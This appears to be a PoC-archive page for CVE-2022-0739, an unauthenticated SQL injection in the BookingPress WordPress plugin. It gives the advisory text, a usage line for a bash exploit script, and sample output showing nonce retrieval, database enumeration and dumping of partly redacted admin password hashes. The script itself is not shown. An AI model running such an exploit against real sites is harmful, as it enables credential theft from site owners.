Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2022-0739 PoC — BookingPress < 1.0.11 - Unauthenticated SQL Injection

Source
Associated Vulnerability
Title:BookingPress < 1.0.11 - Unauthenticated SQL Injection (CVE-2022-0739)
Description:The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied POST data before it is used in a dynamically constructed SQL query via the bookingpress_front_get_category_services AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection
Description
Simple bash script to automate the exploit of cve 2022 0739
Readme
# CVE-2022-0739
Proof-of-Concept exploit (SQLI BookingPress before 1.0.11)

#Usage
Supply the URL to where the Booking Press plugin is in use on the application.

bash exploit.sh '<insert url here>'

e.g.  (Hashes are redacted in this demo) 



  				                                                           
		
			
		┌──(user@user)-[~/]
		└─$ bash sqli_exploit.sh 'http://localhost/calendar/'
		    ____              __   _             ____                     
		   / __ )____  ____  / /__(_)___  ____ _/ __ \________  __________
		  / __  / __ \/ __ \/ //_/ / __ \/ __ `/ /_/ / ___/ _ \/ ___/ ___/
		 / /_/ / /_/ / /_/ / ,< / / / / / /_/ / ____/ /  /  __(__  |__  ) 
		/_____/\____/\____/_/|_/_/_/ /_/\__, /_/   /_/   \___/____/____/  
				               /____/                             
		   _______    ________    ___   ____ ___  ___        ____  __________ ____ 
		  / ____/ |  / / ____/   |__ \ / __ \__ \|__ \      / __ \/__  /__  // __ \
		 / /    | | / / __/________/ // / / /_/ /__/ /_____/ / / /  / / /_ </ /_/ /
		/ /___  | |/ / /__/_____/ __// /_/ / __// __/_____/ /_/ /  / /___/ /\__, / 
		\____/  |___/_____/    /____/\____/____/____/     \____/  /_//____//____/  
	
		[+] Exploiting http://localhost ...
		[+] Vulnerable url at http://localhost/calendar/...
		[+] Gettting nonce...
		[+] Found nonce: 219087f4c2
		[+] Extract database name...

		information_schema
		test_db


		[+] Getting creds...
		admin $P$BGrGrgXXXXXXXXXXXXXX
		testUs3r $P$B4aNM28NXXXXXXXXXXX
  
---------------------------------------------------------------------

DISCLAIMER

Usage of this program without prior mutual consent can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. 
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →